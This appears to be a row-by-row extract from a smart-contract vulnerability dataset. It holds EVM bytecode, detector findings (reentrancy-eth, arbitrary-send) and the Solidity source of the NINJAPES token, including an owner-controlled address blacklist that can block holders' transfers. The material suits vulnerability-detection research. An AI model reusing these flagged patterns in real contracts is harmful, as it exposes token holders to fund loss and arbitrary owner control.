0x60806040526004361061023f5760003560e01c806370a082311161012e5780638f9a55c0116100ab578063c55284901161006f578063c552849014610669578063dd62ed3e14610689578063ea1644d5146106cf578063f09fc1cb146106ef578063f2fde38b1461070f57600080fd5b80638f9a55c0146105fe57806395d89b411461024b57806398d5fdca146106145780639f13157114610629578063a9059cbb1461064957600080fd5b80638203f5fe116100f25780638203f5fe1461057557806384c9856c1461058a578063881dce60146105a05780638da5cb5b146105c05780638f70ccf7146105de57600080fd5b806370a08231146104f4578063715018a61461051457806374010ece14610529578063790ca413146105495780637d1db4a51461055f57600080fd5b8063313ce567116101bc5780634bf2c7c9116101805780634bf2c7c9146104695780635d098b38146104895780636b9cf534146104a95780636d8aa8f8146104bf5780636fc3eaec146104df57600080fd5b8063313ce567146103d75780633197cbb6146103f357806333251a0b1461040957806338eea22d1461042957806349bd5a5e1461044957600080fd5b80631cd5c9d8116102035780631cd5c9d81461035357806323b872dd1461036957806327c8f8351461038957806328bb665a1461039f5780632fd689e3146103c157600080fd5b806306fdde031461024b578063095ea7b31461028d5780630f3a325f146102bd5780631694505e146102f657806318160ddd1461032e57600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50604080518082018252600a8152694e4f4a45455453494e5560b01b602082015290516102849190612423565b60405180910390f35b34801561029957600080fd5b506102ad6102a8366004612224565b61072f565b6040519015158152602001610284565b3480156102c957600080fd5b506102ad6102d8366004612170565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561030257600080fd5b50601754610316906001600160a01b031681565b6040516001600160a01b039091168152602001610284565b34801561033a57600080fd5b50678ac7230489e800005b604051908152602001610284565b34801561035f57600080fd5b5061034560195481565b34801561037557600080fd5b506102ad6103843660046121e3565b610746565b34801561039557600080fd5b5061031661dead81565b3480156103ab57600080fd5b506103bf6103ba366004612250565b6107af565b005b3480156103cd57600080fd5b50610345601c5481565b3480156103e357600080fd5b5060405160098152602001610284565b3480156103ff57600080fd5b50610345600b5481565b34801561041557600080fd5b506103bf610424366004612170565b61084e565b34801561043557600080fd5b506103bf6104443660046123bd565b6108bd565b34801561045557600080fd5b50601854610316906001600160a01b031681565b34801561047557600080fd5b506103bf6104843660046123a4565b61090e565b34801561049557600080fd5b506103bf6104a4366004612170565b61094b565b3480156104b557600080fd5b50610345601d5481565b3480156104cb57600080fd5b506103bf6104da366004612382565b6109a5565b3480156104eb57600080fd5b506103bf6109ed565b34801561050057600080fd5b5061034561050f366004612170565b610a17565b34801561052057600080fd5b506103bf610a39565b34801561053557600080fd5b506103bf6105443660046123a4565b610aad565b34801561055557600080fd5b50610345600a5481565b34801561056b57600080fd5b50610345601a5481565b34801561058157600080fd5b506103bf610b50565b34801561059657600080fd5b50610345601e5481565b3480156105ac57600080fd5b506103bf6105bb3660046123a4565b610d35565b3480156105cc57600080fd5b506000546001600160a01b0316610316565b3480156105ea57600080fd5b506103bf6105f9366004612382565b610db1565b34801561060a57600080fd5b50610345601b5481565b34801561062057600080fd5b50610345610e27565b34801561063557600080fd5b506103bf610644366004612382565b610fd6565b34801561065557600080fd5b506102ad610664366004612224565b61101e565b34801561067557600080fd5b506103bf6106843660046123bd565b61102b565b34801561069557600080fd5b506103456106a43660046121aa565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106db57600080fd5b506103bf6106ea3660046123a4565b61107c565b3480156106fb57600080fd5b506103bf61070a366004612382565b6110ba565b34801561071b57600080fd5b506103bf61072a366004612170565b611102565b600061073c3384846111ec565b5060015b92915050565b6000610753848484611310565b6107a584336107a085604051806060016040528060288152602001612757602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611a15565b6111ec565b5060019392505050565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016107d990612478565b60405180910390fd5b60005b815181101561084a5760016009600084848151811061080657610806612715565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610842816126e4565b9150506107e5565b5050565b6000546001600160a01b031633146108785760405162461bcd60e51b81526004016107d990612478565b6001600160a01b03811660009081526009602052604090205460ff16156108ba576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016107d990612478565b60018211156108f557600080fd5b600181111561090357600080fd5b600c91909155600e55565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016107d990612478565b600181111561094657600080fd5b601255565b6016546001600160a01b0316336001600160a01b03161461096b57600080fd5b601680546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016107d990612478565b60188054911515600160b01b0260ff60b01b19909216919091179055565b6016546001600160a01b0316336001600160a01b031614610a0d57600080fd5b476108ba81611a4f565b6001600160a01b03811660009081526002602052604081205461074090611a89565b6000546001600160a01b03163314610a635760405162461bcd60e51b81526004016107d990612478565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ad75760405162461bcd60e51b81526004016107d990612478565b66b1a2bc2ec50000811015610b4b5760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107d9565b601a55565b6000546001600160a01b03163314610b7a5760405162461bcd60e51b81526004016107d990612478565b601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610bda57600080fd5b505afa158015610bee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c12919061218d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5a57600080fd5b505afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c92919061218d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610cda57600080fd5b505af1158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d12919061218d565b601880546001600160a01b0319166001600160a01b039290921691909117905550565b6016546001600160a01b0316336001600160a01b031614610d5557600080fd5b610d5e30610a17565b8111158015610d6d5750600081115b610da85760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107d9565b6108ba81611b0d565b6000546001600160a01b03163314610ddb5760405162461bcd60e51b81526004016107d990612478565b6018805442600a5560ff60c01b19831515600160a01b021664ff000000ff60a01b1990911617600160c01b179055610e11610e27565b601955610e214262278d00612586565b600b5550565b604080516002808252606082018352600092839291906020830190803683370190505090503081600081518110610e6057610e60612715565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eb457600080fd5b505afa158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec919061218d565b81600181518110610eff57610eff612715565b6001600160a01b03909216602092830291909101909101526000610f256009600a612603565b60175460405163d06ca61f60e01b81529192506000916001600160a01b039091169063d06ca61f90610f5d90859087906004016124d4565b60006040518083038186803b158015610f7557600080fd5b505afa158015610f89573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610fb191908101906122f6565b600181518110610fc357610fc3612715565b6020026020010151905080935050505090565b6000546001600160a01b031633146110005760405162461bcd60e51b81526004016107d990612478565b60188054911515600160b81b0260ff60b81b19909216919091179055565b600061073c338484611310565b6000546001600160a01b031633146110555760405162461bcd60e51b81526004016107d990612478565b600d82111561106357600080fd5b600d81111561107157600080fd5b600d91909155600f55565b6000546001600160a01b031633146110a65760405162461bcd60e51b81526004016107d990612478565b601b548110156110b557600080fd5b601b55565b6000546001600160a01b031633146110e45760405162461bcd60e51b81526004016107d990612478565b60188054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b0316331461112c5760405162461bcd60e51b81526004016107d990612478565b6001600160a01b0381166111915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661124e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d9565b6001600160a01b0382166112af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d9565b6001600160a01b0382166113d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d9565b600081116114385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d9565b6001600160a01b03821660009081526009602052604090205460ff16156114715760405162461bcd60e51b81526004016107d9906124ad565b6001600160a01b03831660009081526009602052604090205460ff16156114aa5760405162461bcd60e51b81526004016107d9906124ad565b3360009081526009602052604090205460ff16156114da5760405162461bcd60e51b81526004016107d9906124ad565b6000546001600160a01b0384811691161480159061150657506000546001600160a01b03838116911614155b156117fb57601854600160a01b900460ff166115645760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107d9565b6018546001600160a01b03838116911614801561158f57506017546001600160a01b03848116911614155b15611641576001600160a01b03821630148015906115b657506001600160a01b0383163014155b80156115d057506016546001600160a01b03838116911614155b80156115ea57506016546001600160a01b03848116911614155b1561164157601a548111156116415760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107d9565b6018546001600160a01b0383811691161480159061166d57506016546001600160a01b03838116911614155b801561168257506001600160a01b0382163014155b801561169957506001600160a01b03821661dead14155b156116f557601b54816116ab84610a17565b6116b59190612586565b106116bf57600080fd5b601854600160b81b900460ff16156116f557600a546116e0906104b0612586565b42116116f557601d548111156116f557600080fd5b600061170030610a17565b601c54909150811180801561171f5750601854600160a81b900460ff16155b801561173957506018546001600160a01b03868116911614155b801561174e5750601854600160b01b900460ff165b801561177357506001600160a01b03851660009081526006602052604090205460ff16155b801561179857506001600160a01b03841660009081526006602052604090205460ff16155b156117f857601254600090156117d3576117c860646117c260125486611c9690919063ffffffff16565b90611d15565b90506117d381611d57565b6117e56117e082856126cd565b611b0d565b4780156117f5576117f547611a4f565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061183d57506001600160a01b03831660009081526006602052604090205460ff165b8061186f57506018546001600160a01b0385811691161480159061186f57506018546001600160a01b03848116911614155b1561187c57506000611a03565b6018546001600160a01b0385811691161480156118a757506017546001600160a01b03848116911614155b15611902576001600160a01b03831660009081526004602052604090204290819055600c54601055600d54601155600a541415611902576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6018546001600160a01b03848116911614801561192d57506017546001600160a01b03858116911614155b15611a0357600e54601055600f54601155601854600160c01b900460ff1615611a035760195461195e906064611c96565b611966610e27565b11806119805750600a5461197d9062278d00612586565b42115b15611997576018805460ff60c01b19169055611a03565b6000606490506119b56119ae6019546117c2610e27565b8290611d64565b9050605981106119c457600080fd5b80601160008282546119d69190612586565b909155506119eb905060646117c28584611c96565b601e60008282546119fc9190612586565b9091555050505b611a0f84848484611da6565b50505050565b60008184841115611a395760405162461bcd60e51b81526004016107d99190612423565b506000611a4684866126cd565b95945050505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561084a573d6000803e3d6000fd5b6000600754821115611af05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107d9565b6000611afa611dda565b9050611b068382611d15565b9392505050565b6018805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611b5557611b55612715565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611ba957600080fd5b505afa158015611bbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611be1919061218d565b81600181518110611bf457611bf4612715565b6001600160a01b039283166020918202929092010152601754611c1a91309116846111ec565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c539085906000908690309042906004016124f5565b600060405180830381600087803b158015611c6d57600080fd5b505af1158015611c81573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600082611ca557506000610740565b6000611cb183856126ae565b905082611cbe858361259e565b14611b065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d9565b6000611b0683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dfd565b6108ba3061dead83611310565b6000611b0683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a15565b80611db357611db3611e2b565b611dbe848484611e70565b80611a0f57611a0f601354601055601454601155601554601255565b6000806000611de7611f67565b9092509050611df68282611d15565b9250505090565b60008183611e1e5760405162461bcd60e51b81526004016107d99190612423565b506000611a46848661259e565b601054158015611e3b5750601154155b8015611e475750601254155b15611e4e57565b6010805460135560118054601455601280546015556000928390559082905555565b600080600080600080611e8287611fa7565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611eb49087611d64565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ee39086612004565b6001600160a01b038916600090815260026020526040902055611f0581612063565b611f0f84836120ad565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f5491815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611f828282611d15565b821015611f9e57505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611fc48a6010546011546120d1565b9250925092506000611fd4611dda565b90506000806000611fe78e878787612120565b919e509c509a509598509396509194505050505091939550919395565b6000806120118385612586565b905083811015611b065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d9565b600061206d611dda565b9050600061207b8383611c96565b306000908152600260205260409020549091506120989082612004565b30600090815260026020526040902055505050565b6007546120ba9083611d64565b6007556008546120ca9082612004565b6008555050565b60008080806120e560646117c28989611c96565b905060006120f860646117c28a89611c96565b905060006121108261210a8b86611d64565b90611d64565b9992985090965090945050505050565b600080808061212f8886611c96565b9050600061213d8887611c96565b9050600061214b8888611c96565b9050600061215d8261210a8686611d64565b939b939a50919850919650505050505050565b60006020828403121561218257600080fd5b8135611b0681612741565b60006020828403121561219f57600080fd5b8151611b0681612741565b600080604083850312156121bd57600080fd5b82356121c881612741565b915060208301356121d881612741565b809150509250929050565b6000806000606084860312156121f857600080fd5b833561220381612741565b9250602084013561221381612741565b929592945050506040919091013590565b6000806040838503121561223757600080fd5b823561224281612741565b946020939093013593505050565b6000602080838503121561226357600080fd5b823567ffffffffffffffff81111561227a57600080fd5b8301601f8101851361228b57600080fd5b803561229e61229982612562565b612531565b80828252848201915084840188868560051b87010111156122be57600080fd5b600094505b838510156122ea5780356122d681612741565b8352600194909401939185019185016122c3565b50979650505050505050565b6000602080838503121561230957600080fd5b825167ffffffffffffffff81111561232057600080fd5b8301601f8101851361233157600080fd5b805161233f61229982612562565b80828252848201915084840188868560051b870101111561235f57600080fd5b600094505b838510156122ea578051835260019490940193918501918501612364565b60006020828403121561239457600080fd5b81358015158114611b0657600080fd5b6000602082840312156123b657600080fd5b5035919050565b600080604083850312156123d057600080fd5b50508035926020909101359150565b600081518084526020808501945080840160005b838110156124185781516001600160a01b0316875295820195908201906001016123f3565b509495945050505050565b600060208083528351808285015260005b8181101561245057858101830151858201604001528201612434565b81811115612462576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b8281526040602082015260006124ed60408301846123df565b949350505050565b85815284602082015260a06040820152600061251460a08301866123df565b6001600160a01b0394909416606083015250608001529392505050565b604051601f8201601f1916810167ffffffffffffffff8111828210171561255a5761255a61272b565b604052919050565b600067ffffffffffffffff82111561257c5761257c61272b565b5060051b60200190565b60008219821115612599576125996126ff565b500190565b6000826125bb57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156125fb5781600019048211156125e1576125e16126ff565b808516156125ee57918102915b93841c93908002906125c5565b509250929050565b6000611b0660ff84168360008261261c57506001610740565b8161262957506000610740565b816001811461263f576002811461264957612665565b6001915050610740565b60ff84111561265a5761265a6126ff565b50506001821b610740565b5060208310610133831016604e8410600b8410161715612688575081810a610740565b61269283836125c0565b80600019048211156126a6576126a66126ff565b029392505050565b60008160001904831182151516156126c8576126c86126ff565b500290565b6000828210156126df576126df6126ff565b500390565b60006000198214156126f8576126f86126ff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e3f4a656fe170d16b9403c5a6dc695066a425bb6c60ed3ea8a67e4a91824828464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,006
0x41785f4b1ced6d8c44853c8016f7921eae537c0a
/** *Submitted for verification at Etherscan.io on 2022-03-10 */ // SPDX-License-Identifier: Unlicensed //Apes alone weak. Apes together strong. //https://t.me/ninjapes //https://twitter.com/Ninjapeseth //https://discord.gg/PgqPK6pwfh pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract NINJAPES is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _tTotal = 1e12 * 10**9; uint256 private constant _MAX = ~uint256(0); uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint private constant _decimals = 9; uint256 private _teamFee = 12; uint256 private _previousteamFee = _teamFee; string private constant _name = "NINJAPES"; string private constant _symbol = "NINJAPES"; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from]); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.div(4); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (3 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 12); _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c0578063cf0848f7146103d5578063cf9d4afa146103f5578063dd62ed3e14610415578063e6ec64ec1461045b578063f2fde38b1461047b57600080fd5b8063715018a6146103235780638da5cb5b1461033857806390d49b9d1461036057806395d89b4114610172578063a9059cbb14610380578063b515566a146103a057600080fd5b806331c2d8471161010857806331c2d8471461023c5780633bbac5791461025c578063437823ec14610295578063476343ee146102b55780635342acb4146102ca57806370a082311461030357600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b257806318160ddd146101e257806323b872dd14610208578063313ce5671461022857600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049b565b005b34801561017e57600080fd5b5060408051808201825260088152674e494e4a4150455360c01b602082015290516101a99190611813565b60405180910390f35b3480156101be57600080fd5b506101d26101cd36600461188d565b6104e7565b60405190151581526020016101a9565b3480156101ee57600080fd5b50683635c9adc5dea000005b6040519081526020016101a9565b34801561021457600080fd5b506101d26102233660046118b9565b6104fe565b34801561023457600080fd5b5060096101fa565b34801561024857600080fd5b50610170610257366004611910565b610567565b34801561026857600080fd5b506101d26102773660046119d5565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a157600080fd5b506101706102b03660046119d5565b6105fd565b3480156102c157600080fd5b5061017061064b565b3480156102d657600080fd5b506101d26102e53660046119d5565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561030f57600080fd5b506101fa61031e3660046119d5565b610685565b34801561032f57600080fd5b506101706106a7565b34801561034457600080fd5b506000546040516001600160a01b0390911681526020016101a9565b34801561036c57